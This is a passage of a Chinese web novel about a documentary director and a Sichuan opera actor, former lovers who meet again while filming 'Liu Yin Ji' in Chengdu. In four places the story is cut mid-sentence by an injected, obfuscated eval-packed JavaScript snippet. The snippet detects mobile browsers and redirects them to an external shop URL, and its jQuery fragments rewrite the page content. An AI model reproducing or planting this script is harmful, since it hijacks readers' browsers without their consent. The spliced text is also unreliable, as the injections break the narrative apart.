陈声和想起潮汕老家的说法:打碎的茶杯得留个底儿,不然茶魂就散了。 这时玻璃门又被推开,冷风嗖地灌进来,还夹着林瑶的声音:“陈导?明天七点还得拍晨戏呢……” 陈声和慌忙站起来,手肘一带,碰翻了面前的油碟。香油在桌面上漫开,漂着的碎辣椒慢慢聚成了个奇怪的形状,像株珊瑚。 对面的李霄川也猛地站起身,掏出手机利索地扫了桌角的二维码。 他锁屏画面一闪而过,是文殊院那道有名的红墙,角落里有个模糊的蓝色人影,像素挺渣的,一看就是从什么老照片上截下来的。 重逢后的第一顿饭,就这么匆匆忙忙地散了。 两人再没开口说一句话,一个比一个走的急。 …… 酒店走廊的声控灯随着脚步声亮起,又很快暗了下去。 陈声和刷卡进门,反手锁好,一路直奔浴室。他手指压进喉咙深处,终于忍不住弯下腰,吐了出来。 刚刚一口闷下去的毛肚,里面还混着血丝掉进了马桶里。那些红彤彤的辣椒皮在水面上飘着,看起来就像是一些泡大了的小旗帜一样。 冷水冲完脸庞,他抬头,镜子里的人嘴角通红,眼下泛着不自然的潮红,眼球爬满血丝,这副狼狈样子,和五年前如出一辙。 决定分开前那晚,他也是一个人在火锅店厕所吐得昏天黑地。只不过那时候是硬生生灌了半瓶白酒,现在倒好,李霄川推过来一杯水,他就受不了了。 手机在口袋里嗡嗡震,震得他心烦。 掏出来一看,锁屏上是林瑶发来的消息:【陈导,李老师刚才送了胃药过来,我放门口了,您记得吃啊】 打开门,塑料袋里果然是铝箔板包装的法莫替丁。 底下还压着一张便签。 陈声和不用打开就知道上面写的是什么。 那年他们刚住一起,他第一次犯胃病,李霄川跑遍了附近三条街,就为了买这种对胃刺激最小的药。 便签背面肯定还画着那个傻乎乎的笑脸,用辣椒和茶叶当眼睛,画得歪歪扭扭,却特别认真。 药片在嘴里化开,苦得他直皱眉。不知哪根筋搭错了,他解锁手机,点开了那个带锁的相册。 最新一张照片是今天偷拍的:李霄川在火锅蒸气里朦胧的侧脸,和墙上那幅熊猫涂叠在一起。 他犹豫了一下,在照片备注里输入:“202X.9.28,辣度测试失败”。 窗外隐约传来咿咿呀呀的川剧声,听不清唱词。 陈声和拉开窗帘,对面川剧院宿舍楼的灯亮着,一个熟悉的身影正在阳台上练云手。 月光把那道影子投在白墙上,放大、拉长,像一场无声的皮影戏。 手机屏幕又嗡嗡亮起,微博特别关注跳出一条推送:@川剧李霄川刚刚发布了新动态。 配图是一锅已经冷掉的红汤火锅,浮着一层凝固的牛油。 文案只有三个字:【太辣了】 热评第一条是戏迷的调侃:“李老师今天是不是坐错桌啦?该去广东那桌啊!”后面跟着一串大笑的表情包。 再往下翻,有人疑惑地问:“李老师最近口味怎么变淡了?上周花絮里还说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004138|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红汤不够辣要加小米椒呢……” 陈声和猛地按熄屏幕,把手机反扣在窗台上。玻璃倒影里的人眼眶通红,分不清是吐得太厉害,还是别的什么原因。 窗外的川剧声不知什么时候停了,对面阳台的灯也暗了下去,只剩月光冷冷地照着空荡荡的练功架。 鬼使神差地,他又拿起手机,点开微博搜了“李霄川广东”。最上面一条是半年前的采访视频,画面里的男人正在卸妆,记者问他为什么总去粤菜馆,是不是想尝试粤剧? “有个很重要的人,”李霄川用沾着卸妆油的棉片慢慢擦掉脸上的油彩,“他吃不了辣。” 答非所问,没人知道那个“重要的人”是谁。 陈声和退回那条火锅的微博,拇指在点赞键上悬了半天,最终只是默默截了张图,保存下来。 他扔下手机再次进到浴室,然后慢慢滑坐进浴缸,把湿纸巾按在鼻尖,深深吸气。 重逢后第一次允许自己哭出声,反正水龙头开着,水声会掩盖一切,也没人会看到他现在狼狈的样子。 就像今晚那锅沸腾的红汤,翻滚得再剧烈,表面也只会冒出几个无关痛痒的气泡。 他忽然明白了,自己为什么执着于拍摄那口红锅。 在那些翻滚的辣椒之间,在那些虚假的欢腾泡沫之下,藏着所有说不出口的真相。 他依然怕辣,依然会为那个人心跳过速,依然……学不会在痛觉里说谎。 …… 凌晨四点多了,对面川剧院宿舍的灯还亮着。 李霄川盘腿坐在地板上,明天《白蛇传》的脸谱草图摊在面前。勾线笔提在手里半天,就是落不下去。 他盯着手机里刚发的微博界面,陈声和的账号静悄悄的,没有点赞,没有转发,像一潭死水。 “怂包。”他低声骂了句,笔尖狠狠往纸上一戳,给小青的脸谱多添了一道红。 这会儿要是有人看见他,准能发现他眼眶红得跟打了腮红似的。 他用力抹了把脸,站起身把练功服脱了扔床上。肩胛骨上那道疤在汗湿的皮肤上特别扎眼。 还记得五年前,陈声和第一次碰这道疤时,手指抖得跟受惊的小鸟似的。 可现在呢? 今天在火锅店,那人连正眼看他都不敢。 手机嗡嗡震起来,剧团群里炸出十几条消息:【师兄,你上了个无聊的热搜#川剧小生夜宵吃火锅#】 配图是他发的那张红汤锅。 底下有人问:【一个人吃火锅啊?】 他拇指悬在屏幕上停了一下,回复:【嗯,太辣了,没人陪】 发完就把手机扔一边,从抽屉最里头摸出盒凤凰单丛。 这茶叶还是陈声和当年落在这儿的。早就陈了,可他每周还是坚持泡一次,故意用滚烫的水,烫得舌尖发麻才好。 茶刚倒进杯子,门铃响了。 监控屏幕上,陈声和的助理林瑶抱着文件袋站在门口,脖子上还挂着剧组的工作证。 李霄川胡乱擦了把脸。 “李老师,”林瑶递过文件袋,“陈导让我送明天的拍摄流程,还有……这个。” 袋子里装着瓶潮汕老药桔,标签上手写了服用方法,字迹工整得过分。 李霄川接过来,低声道了谢。 窗外传来早班公交的报站声,已经五点半了。李霄川想起上大学那会儿,陈声和总爱拉着他坐154路去文殊院。 那时的年轻导演咬着奶茶吸管,非说这趟车的报站声特别像潮汕话里的“一生一世”。 现在154路还在开着,可那个报站声,早就没人当真了。 22. 过期的豆瓣酱 凌晨五点半左右的成都,天色还浸在夜色里。 陈声和却已经站在川剧院斑驳的侧门屋檐下,手指间夹了根没点的软中华,烟丝混着早晨的潮气往鼻子里钻。 九月底的成都要是出太阳,照样闷得跟蒸笼似的,连清晨都黏糊糊的。他扯了扯衬衫领口,像要把堵在胸口那股热气给咽下去。 林瑶拿着小风扇从后面跟上来,递给他一杯冰美式,小声问:“您确定这个点能拍到素材?李老师真会这么早来?” 陈声和没吭声,低头看了眼手表。钢表带底下,那道淡白色的烫伤疤若隐若现。 这表还是李霄川送的,欧米茄,表壳背面是那人特意专柜刻了花体的“CH”。这些年表带都换过两回了,这个秘密他却一直没让人发现。 “再等十分钟。”他声音轻得快化进潮湿的空气里,像怕吵醒还没醒透的剧院。 林瑶刚要开口,练功房的灯突然亮了。 昏黄的光从老式木窗格里透出来,在地上投出斑斑驳驳的影子。 窗里头,李霄川穿着件洗得发白的练功服走进来,领口松了两颗盘扣。 他没开顶灯,只拧亮了角落那盏旧式的镜前灯,钨丝灯泡滋滋响着,给他侧脸轮廓描了道毛茸茸的金边。 陈声和喉结微动,呼吸在不知不觉间变得绵长。 林瑶瞪大了眼睛:“……他真的来了。” 李霄川对窗外完全没察觉。他在镜子前站定,深吸一口气,手臂缓缓抬到眉梢,手指绷得直直的。 然后猛地发力! 一个后空翻带起衣袂翻飞,两个、三个……练功服后背渐渐晕出深色的汗渍,布料黏在绷紧的脊背上。 第九个空翻落地时,右膝重重磕在木地板上,发出“咚”的闷响。 林瑶一把抓住窗棂:“他不要命了?!” 陈声和指节捏得发白,手里的纸杯被捏得变了形,冰咖啡溢出来,在虎口淌成一道。可他眼睛眨都没眨,死死盯着那个跪在地上的人。 李霄川单膝跪地,胸口剧烈起伏,额前的碎发被汗水浸透,黏在眉骨上。 他缓了会儿,伸手去够放在一旁的绷带,动作间,练功服的领口滑开,露出锁骨那里的疤痕。 “练功的,谁身上没点伤啊?” 李霄川当年说这话的时候,正歪在医务室铁架床上,嘴角还挂着那副痞里痞气的笑。 陈声和气得手直抖,棉签蘸满碘伏狠狠按在他伤口上。可眼泪比药水先砸下来,落在李霄川光着的肩膀上,晕开一小片温热的湿。 “哎哟咋子嘛……”李霄川笑容僵在脸上,粗糙的指头抹过陈声和发红的眼角。 “莫哭嘛,幺儿。”他故意拖出浓浓的川音,声音软得像在哄小孩,“我保证下回不这么莽了。再受伤,就罚我给你买包、买鞋,买到你消气为止,要得不?” 陈声和把头扭到一边,喉结很用力地滚了一下。手里还攥着沾血的棉签,憋着没发火。 医务室的窗帘被风吹起一角,晚霞斜斜照进来,落在李霄川肩膀上那道狰狞的伤口上。那抹红刺得他眼睛发烫。 “谁稀罕你的包……”他嗓子哑得不像话,尾音漏出点潮汕腔,像小时候摔疼了硬憋着哭的那种调调。 “是是是,我稀罕给你买。”李霄川拉过他的手,亲在他湿漉漉的眼皮上,“莫哭了乖乖,我错咯。” 窗外的蝉鸣突然炸开,盖过了陈声和死死压住的抽气声。 陈声和回过神,在门口顿了一下,还是伸手推开了门。老旧的木门“吱呀”一响,那声音在空荡荡的练功房里尤其渗人。 李霄川正背对着门口缠绷带,光着的后背上,一道新伤叠着一道旧伤。 听见动静,他手上动作停了一下,却没回头,只冲着镜子懒懒开口:“陈导这么敬业啊?连演员热身都要盯着拍?” 他那调调,一听就带着刺,尾音拖得悠长,四川人那阴阳怪气的劲儿全出来了。 陈声和没搭腔,只是朝身后的林瑶打了个手势。 器材挪动的声音响起。李霄川猛地转过身来,正面迎上镜头,快得都带起了一阵风。 汗正顺着他下巴往下滴,落在锁骨那个小窝里,他的眼神跟刀子似的,好像能扎穿镜头后的每一个人。 林瑶手一抖,相机磕在支架上。 陈声和却动都没动,只平静地吐出两个字:“继续。” 李霄川从鼻子里哼了一声,换了个架势接着练。就那么随手一摆,云手起势,标准得能直接印进教材里。 那手腕活泛得,像是老师傅盘了半辈子的核桃,又润又韧;手指这么一挑一转,力道含而不露,韵味却全出来了,一看就是打小在把子功里千锤百炼出来的。 陈声和的呼吸都放轻了。 这是当年他第一次去戏曲社团时,李霄川手把手教他的动作。 这么多年,云手这人做过无数次,可当年教他的时候,就是不一样。 记得那时候李霄川总嫌空调不够凉,练功服后背湿透,紧紧贴在身上。 他就爱站在陈声和身后,胸膛贴着他的背,手指扣着他的手腕,热气呵在他耳边笑:“小广仔,手腕软一点嘛,僵得像根棍棍。” 后来真和他在一起之后,陈声和才慢慢回过味儿来,原来那人早就张好了网,就等着他这只鸟懵懵懂懂飞进来。 从第一次在台上台下眼神撞上,到手把手教云手时刻意放慢的动作,再到每次排练后“正好顺路”送他回宿舍…… 自己就像只从广东飞来成都的呆头鹅,一头撞进了那人早就备好的温柔笼子里。 而现在,李霄川当着他的面,一遍又一遍地重复这个曾经亲昵传授的动作,眼神却冷得像在看一个陌生人。 拍摄期间,林瑶借着换电池的间隙小声问:“陈导,要不要拍他伤口的特写?那个疤痕……挺震撼的。” 陈声和摇摇头,却从随身的帆布包里摸出一卷绷带。深蓝色的包装已经有些褪色了。 他把它轻轻放在李霄川的背包旁边。 这是潮汕特制的药膏绷带,大学时李霄川每次练功受伤,他都特意托朋友从老家寄过来,囤在宿舍。 这些年拍纪录片,他已经习惯了随身带一卷,哪怕用不上。 就像行李箱最里头那瓶早就过期的豆瓣酱,有些东西留着也没用,可你就是舍不得扔。 然而李霄川过来拿水时看见了那卷绷带,伸出的手在空中顿了一下,最后却转向旁边那卷剧组准备的普通绷带。 塑料包装被他捏得哗啦作响,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004139|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头也不回地走了。 林瑶看得一头雾水:“他是不是没看到?” 陈声和盯着李霄川的背影,那人走路时还是会出于本能的先迈左脚,就像当年他们一起下课回宿舍时,互相学对方走路那样幼稚。 “没事,”他轻声说。 他只是……不要了。 …… 所有人都到齐后,李霄川就跟突然按了开关一样,整个人气场都变了。 他随手理了理戏服领口,下巴微微一抬,肩膀线条“唰”地收紧,那个在练功房里跟自己死磕的疯子不见了,眼前这位,是团里最拿得出手的台柱子,专业得很。 “各位老师早,辛苦大家了哈。”他吃完早饭回来,脸上挂起微笑,挨个儿跟剧组的人打招呼,连场务小哥都没漏掉。 走到林瑶跟前时,他还特意稍稍弯下腰,语气温和:“需要我怎么配合镜头?您尽管说。” “……好的,李老师。”林瑶嘴角没忍住抽了一下,默默配合他演起这出“我们不熟”的戏。 陈声和在监视器后面盯着,画面里的李霄川完美得像设定好的程序,每一丝表情都恰到好处,每一个动作都收敛有度。 就像他们之间那些扯不清的旧事,全被这身戏服给妥妥包住了,一点痕迹都不露。 今天这太阳晒得人脑袋发晕,这两天闷得跟蒸包子似的,热气糊在身上甩不掉。 剧院顶上那台老电扇吱呀吱呀转着,吹出来的风混着化妆间的脂粉味和汗味,一股脑往人身上扑。 陈声和松了松衬衫领口,手指有一搭没一搭地敲着监视器边沿。 台上那人正和武生走戏,一身素白戏服,蓝腰带扎得干净利落,手里折扇一开一合,是真潇洒。 动作也干脆,转身时衣摆一扬,像只正要起飞的鹤。 台上的李霄川像是察觉到什么,合上了扇子,朝这边瞥了一眼。他眼尾描着戏妆,线条挑得锋利,眼神跟刀子似的,直直戳向监视器后的陈声和。 “陈导,这段咱们保几条?”林瑶凑过来问。 她早上就觉出不对劲了,自家导演今天调试设备的次数格外多,还老在某个特定角度磨蹭不走。 陈声和喉结动了动:“先拍着看吧。” 他低头假装调随身带的相机,手指擦过焦距环,摸到一层薄汗。镜头里,李霄川又一次收扇转身,那抹描红的眼尾被追光灯一打,艳得厉害。 那道目光好像能穿过晃动的镜头、穿过五年没见的年月,稳稳钉在他身上。陈声和手一抖,画面里的李霄川瞬间糊成一团。 “陈导?”林瑶看见他手背上绷起的青筋。 她心里嘀咕,这俩人之间要是没点过往,她能把监视器给生吃了。从李霄川进门起,陈导整个人就跟上了发条似的,绷得比台上的武生还紧。 “……没事,反光。”陈声和哑着嗓子解释,却在重新对焦时,瞥见李霄川嘴角挂着一点笑。 和当年他第一次拍糊镜头时一样,那种带着小得意的表情,完了还得凑过来逗他两句。 当年是玩笑,如今再想,却像一句早早埋下的话。 台上的武生已经摆好架势,李霄川振袖转身,衣袂扬起那刻,一滴汗从他发梢甩出来,在监视器屏幕上溅开一小片湿痕。 23.霄川,今日祝英台 下午两点半,正式彩排才开始。后台飘着松香和粉底的气味,场务正用胶带固定舞台边缘松动的电线。 舞台两侧的楹联还挂着未干的水袖,绸缎在空调风里轻轻晃动:“十八里相送终成梦,三载同窗化作蝶”。 那是徐爷早上新写的,墨迹在潮湿的空气里微微晕开。 这是川剧《柳荫记》的经典场次“哭坟”,讲述祝英台被迫出嫁途中,停轿祭奠梁山伯,最终裂墓化蝶的凄美桥段。 场记板还摆在台口,上面用粉笔记着今天的场次安排。 李霄川今日反串祝英台。 化妆师刚给他补完最后一道妆,凤冠霞帔下,他的眼尾用黛青勾出上扬弧度,本该是新娘的喜庆妆容,唇色却苍白如纸。 陈声和注意到他喉结上的遮瑕膏没涂匀,露出一小块青色的胡茬阴影。 他不动声色地招来林瑶,低声嘱咐。没过多久,化妆师立刻心领神会地再次上前,用粉扑轻轻一抹,将那点不合时宜的真实彻底掩盖。 “开始。”陈声和声音里听不出任何情绪。 老琴师徐爷奏起苦皮导板,弦音有些发闷,可能是成都前几天连日阴雨让琴筒受潮了。 李霄川的水袖“啪”地甩开,露出内衬的素白,这是川剧独具一格的变袖技巧,象征喜服藏孝。 袖口掠过舞台上的干冰雾气,带起一小片朦胧的漩涡。 “柳荫一别成永诀……” “梁兄啊!你怎忍独卧荒郊冷月……” 唱到“冷月”时,他的声音突然劈了。场下几个老票友不约而同坐直了身子,这种失误在专业演员身上很少见。 陈声和却从监视器里盯着这一幕,李霄川真的在用旦角的小嗓唱法,那比平时清越的声线此刻嘶哑得不成调,像被砂纸磨过的玉磬。 这种唱法有一定的难度,全凭着虚悬的气顶着,最是伤喉。 镜头越推越近,能清楚看见他太阳穴上暴起的青筋,汗珠子正顺着发际线往鬓角里淌。 突然,坟台的道具开始晃。按剧本这儿是该有机关裂开,可明眼人都看得出来,是李霄川自己在失控地拽那块墓碑! 道具组的小伙子慌得直瞄舞台监督,舞台监督却摇了摇头,示意别管。 李霄川染着丹指甲,这会儿甲床狠狠抠进软木墓碑里,指缝渗出的血已经把“梁山伯之墓”的“伯”字染得通红。 血滴在木牌上晕开的速度比预想的快,可能是软木吸水的特性。 陈声和眼睛死死黏在屏幕上。镜头都快怼到脸上了,能看见李霄川睫毛抖得厉害,上面挂的泪珠把假睫毛冲得都快掉了。 一根纤维粘在他颧骨上,随着呼吸轻轻颤着。 就这一下子,陈声和突然想起那年的事儿。那时候李霄川每次卸妆都要嘟囔:“这假睫毛胶水太辣眼睛了,除非你帮我吹吹。” 那时候化妆间里总是弥漫着劣质卸妆油和发胶的味儿,可窗外偏偏飘进来桂花香,怪好闻的。 舞台上,李霄川猛地转头看向镜头。舞台灯在他眼睛里打出两个刺眼的光点,像黑夜里突然亮起的信号灯似的。 “继续拍。” 陈声和听见自己轻轻说了这么一句。他的食指死死按着拍板相机的录制键,指甲盖都压得发白了,手心出的汗在操控台上留下个模糊的指印。 监视器里,李霄川的脸被泪水冲得乱七八糟。黛青色的眼妆晕成了蓝黑色,嘴上的胭脂被咬得一块一块的,像被暴雨打残的花。 旁边色温表显示他的肤色比正常值低了300K,整张脸透着股不健康的灰调。 可他还在戏里,还是祝英台。 宽大的袖子垂下来像折断的翅膀,染血的手指在“梁山伯之墓”的木牌上拖出五道长长的血痕。 特写镜头里,那血痕甚至还反着光。 陈声和盯着监视器里那张被泪水冲花的脸,恍惚想起他们第一次看川剧《柳荫记》时,自己曾说过:“祝英台的血泪就该是这样,又艳又脏。” 那天散场后他们在剧场后门吃了红糖糍粑,李霄川的假鬓角还粘着一小块没卸干净的发胶。 记忆中的声音还未散去,林瑶的呼唤就从很远的地方传来:“陈导,素材……”她的声音被舞台侧翼的鼓风机吹得断断续续 “保一条。”他打断她,声音比想象中更哑了。 喉结滚动时牵扯到昨天熬夜剪片落枕的肌肉,这点细微的疼痛倒是让他迅速清醒过来。 监视器里,李霄川正渗着血的手指头往鬓角那儿一蹭,把散下来的头发别回耳后。血珠子沾在假发套上,眨眼就洇进黑发里,只剩下几块暗红色的印子。 就这随手一个动作,嫁衣领口上金线绣的花样突然反了下光,直愣愣扎进陈声和眼睛里。 他下意识闭眼,睫毛抖的比那翅膀还频繁。 等再睁开,台上那个人已经转过脸来了。 隔着十几米远,一堆摄像机,还有灯光里飘个没完的灰,李霄川的目光却照样穿过来,一点没差。就跟五年前在琴房门口一样,准准地逮住了他。 他那双眼睛刚被眼泪洗过,亮得有点吓人,可嘴角却弯起那个陈声和再熟悉不过的弧度。 “陈导要的真实,”他抬手抹掉下巴那儿将落未落的一滴假血,“这样够真了么?” 钢笔尖“刺啦”一声在纸上划过去。 陈声和一低头,看见墨水正顺着剧本的纹路往外渗,一点点吞掉了“化蝶”那两个字,像活的一样啃着纸。 这句话问得太突然,片场一下子静得可怕。所有人的眼神都在导演席和舞台之间偷偷来回扫,跟看一场不出声的拔河比赛似的。 林瑶趁机往前凑近半步,监视器的蓝光映得她脸上,那点犹豫特别明显:“陈导,这段素材……”她悄悄往台上瞟了一眼,声音压得更低了,“李老师指甲裂了,血都蹭戏服上了。” 陈声和的目光忍不住又回到屏幕上。特写镜头里,李霄川正慢慢抬起头,眼泪把他脸上的油彩冲开两道印子,底下露出苍白的皮肤。 那双眼睛亮得不太正常,里面像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005864|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏了什么冰冷又决绝的东西。 “重来。”他听见自己说,这才发现嗓子哑的像是刚经历过一场嚎哭。 李霄川在台上唱戏,总能戳在看客心窝最软的地方,唱得人心里发酸,这些天,组里红眼眶的人就没断过。 也正因如此,始终没人分辨出,陈声和嗓子里那点沙哑,究竟是因为台上那个唱戏的人,还是他唱的那出戏。 舞台上的李霄川嘴角上扬笑了。不是剧本里祝英台该有的凄美微笑,而是那种带着锋利棱角,陈声和在大学后台见过无数次的笑。 他抬手抹脸的姿势粗鲁的很,将精心描绘的妆容揉成一团模糊的色块。 “陈导不是最讲究真实吗?”他撑着膝盖站起来时,嫁衣上的金线在顶灯下晃出一片刺目的光晕,“怎么,拍到真的……” 一个刻意的停顿,目光扫过陈声和无名指上那圈淡得几乎看不见的白痕:“反而不敢要了?” 陈声和倏地蜷起手指,指节绷得发白。 “补妆。”他转向化妆师,声音又恢复了那种公事公办的平静,“十五分钟后继续。” 李霄川的嗤笑声从身后传来,脚步慢悠悠的。 那人走得笔直,大红嫁衣的后摆拖出一道血色残影,唯有垂在身侧的右手在微微颤抖。袖口沾染的血迹在素白内衬上洇开,像雪地里落了一瓣红梅。 “陈导,”林瑶递来茶杯,热气模糊了监视器屏幕,“李老师的手……” “标记素材。”他打断她,目光仍停留在屏幕上。 画面里,李霄川的背影已经消失在幕布缝隙间,只剩那座歪斜的坟台。木牌上“梁山伯”三个字被血染得发暗。 茶凉得很快,也或许是他不愿意喝。等到忙完,陈声和抿了一口,苦味在舌尖蔓延,像吞下一口潮汕老药桔泡的凉茶,又涩又沉。 这苦味猛地把他拽回五年前那个夏夜。 排练室的风扇吱呀转着,李霄川顶着未卸的祝英台妆,鬓角的片子被汗水浸得微卷。 月光从气窗斜切进来,把他的影子拉得很长。 他忽然转身,水袖一甩缠住陈声和的手腕:“小广仔,要是哪天我死了,你也得这么哭我,晓得不?” 当时他怎么回答的? 记忆中的自己别过脸,耳根发烫,手指无措地抠着剧本边角:“……神经啦。” 不远处老徐的胡琴拉响《楼台会》的旋律。琴弦震颤的尾音像根细针,将那个夏夜彻底挑到眼前。 空荡的舞台上,李霄川对他伸出手,妆面被汗水晕开,油彩顺着脖颈流进戏服领口,眼里盛着比月光还亮的光:“乖乖,上来,我唱给你听。” 那时的月光和现在一样凉,凉得人胃里发痛。 “陈导?”林瑶的声音将他扯回现实。 他这才发现自己的手指正悬在删除键上,微微发抖,指甲边缘因为连续熬夜剪片泛起倒刺。 屏幕上,是李霄川那个带着血的笑。 “录下这段琴声,”他听见自己说,“要原始素材。” 24.戏过了,人没过 舞台那侧。 幕布后的阴影里,李霄川的右手正被化妆师紧急处理。木屑嵌在伤口中,不严重,但血珠不断渗出,染红了棉签。 化妆师每擦一下,他的指节就痉挛似的抽动,手背青筋暴起。 “轻点。”他漫不经心地吩咐,眼睛却盯着监视器后的陈声和,“一会儿还要给陈导演化蝶呢。” “…………”陈声和装作没听见。 他在成都上了两年学,早就摸透了这调调,四川人夸你“乖”的时候,未必是真觉得你乖,也有可能在说“你装什么装”。 可片场已经有不少目光在偷偷往这边扫了,跟一群瓜猹似的在他俩之间来回巡视。 不过俩人都装作看不到,干他们这行的,谁不爱八卦,比那村口的老太太们都爱吃瓜。 补完妆的李霄川已经重新就位。 黛青眼线勾勒出凌厉的弧度,泪痕被完美掩盖,仿佛方才的崩溃从未发生。但陈声和依旧看得分明,那人眼尾的胭脂比之前浓了几分,像是要遮住什么。 “准备,开始!” 陈声和在无数个失眠的深夜里,像放电影一样,把他和李霄川那点事儿翻来覆去地琢磨。 他问自己,当初怎么就一头栽进去了,还栽得这么深,这么多年都爬不出来。 是因为李霄川那张脸吗? 确实,那家伙站在台上,油彩勾画,凤眼斜飞,水袖一甩,确实是顶顶好看的呀。 等下了台,卸了妆,会只对他一个人露出点别样的神情。 他会像只没骨头的猫儿,整个人瘫在排练厅的旧地板上,汗湿的头发贴着额头,对着陈声和的方向,有气无力地哼唧:“幺儿,拉我一把嘛,腿杆莫得力气咯……” 那声调软绵绵的,带着点耍赖的鼻音,跟台上那个唱高腔能穿云裂石的武生判若两人。 但陈声和拍过那么多演员,好看的人见得多了。他想,不是的,不只是因为那张脸。 那到底是因为什么呢? 他闭上眼,脑海里最先冒出来的,不是多么惊心动魄的时刻,反而是一些细碎得几乎要被遗忘的片段。 大概就是那个午后,在闷热的后台,他看见刚下台的李霄川,正歪着头对镜子上药。 勒头在头皮上磨破了一圈,渗着血丝,汗水把颈后的头发黏成绺。台上那个挥斥方遒的武生,此刻正笨手笨脚地跟自己较劲,疼得龇牙咧嘴。 就那么一下,陈声和心里“咯噔”一声。 那一瞬间,台上流光溢彩的幻象悄然褪去,露出了底下带着血色而走温热的真实。 而这份真实,不偏不倚,正好硌在了他心口最柔软的那处。 还有他那份川式“霸道”的好。 他一个广东仔,吃惯了清淡,初到成都,被辣椒折磨得够呛。李霄川知道了,下次再带他去吃饭,也不问,直接就点不辣的菜。 许许多多,数不清了…… 那种好,是不讲道理的,然而这种不由分说的体贴,却滚烫得让他无从招架。 就是这些个细小的瞬间,让他动了情。 可偏偏,也是这个人,把他拖进了无边的痛苦里。 李霄川的爱太亮了,像正午的太阳,灼热、直接,恨不得把一切都摊开在光天化日之下。 可陈声和不行。 他的身后是宗祠牌位,是父母殷切到让他窒息的目光,是整个环境无声却庞大的压力。 他越是贪恋李霄川给的光和热,就越是看清自己身后那片无法驱散的阴影。 因为他给不了李霄川想要的坦荡,每一次都回避,沉默,都像是在对方炽热的心上浇下一盆冷水,也像是在自己心口划下一刀。 所以,哪里是因为某一件具体的事呢? 是台上耀眼台下笨拙的反差,是那份不容拒绝的霸道温柔,是他自己给不了回应的愧疚,是明明相爱却把彼此都折磨得筋疲力尽的绝望…… 所有这些揉碎了、搅烂了,混在一起,才成了他心头一碗熬了五年,依然苦涩难当的药。 让他动情的是李霄川的“真”,让他痛苦的也是这份“真”。 这碗叫李霄川的苦药啊,他一喝就是七年,早他爹的成了戒不掉的瘾。 …… 舞台上,琴声最后一个音猛地收住,可那余韵却像根看不见的丝线,死死勒在陈声和的喉咙口。他赶紧眨了眨眼,把突然冲上眼眶的湿意硬生生憋了回去。 镜头之内,李霄川跪伏在冰冷的“坟台”前,大红的嫁衣广袖铺展开,凄艳得如同一片血泊。 按剧本,此刻本该爆竹炸响、烟雾升腾,预示化蝶的神迹,可道具组那边却一片死寂,迟迟没有动作。 一片令人窒息的静默中,李霄川忽地抬手,猛地扯断了颈项上的珍珠项链,那本是祝英台身份与束缚的象征。 浑圆的珠子噼里啪啦地迸溅开来,争先恐后地砸在木地板上,滚落得到处都是,那声音像一场猝不及防的冰雹,砸懵了全场。 这完全剧本外的即兴发挥,将那种决绝的破碎感推向了顶峰,把所有工作人员都钉在了原地,一时无人敢动,也无人敢言。 “Cut!” 陈声和的声音总算划开了这片僵住的空气。他这才后知后觉地感到手心一阵刺痛,低头一看,才发现刚才攥得太紧,对讲机的边角在自己手心硌出了一道深红的印子。 片场凝固了那么小会儿,才有工作人员如梦初醒地鼓掌。掌声经久不息,李霄川已经撑着墓碑站起来,假发髻歪斜,露出他原本的短发茬。 他弯腰捡起一颗珍珠,用旦角的水袖擦了擦,然后朝摄像机这边轻轻一弹。“咚”的一声轻响,珍珠正正打在陈声和的镜头盖上,又骨碌碌滚到了他脚边。 “李老师辛苦了!”场务赶紧递毛巾,却被李霄川偏头避开,扔下一句“谢谢”。 他径直走到监视器前,嫁衣腰带垂下的流苏随着动作还在晃,扫过陈声和的手背,痒得像被羽毛刮过。 “陈导啊,”他脸上还带着祝英台的妆,声音却恢复成原本的低沉,“刚才即兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005865|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发挥那段,能用吗?” 陈声和没应声,目光落在他被头套勒得发红的额角上:“那串珍珠道具被你扯坏了。” “赔就是了。”李霄川勾起嘴角,这个表情让晕染的胭脂裂开细纹,“就像当年赔你摔碎的茶具。” 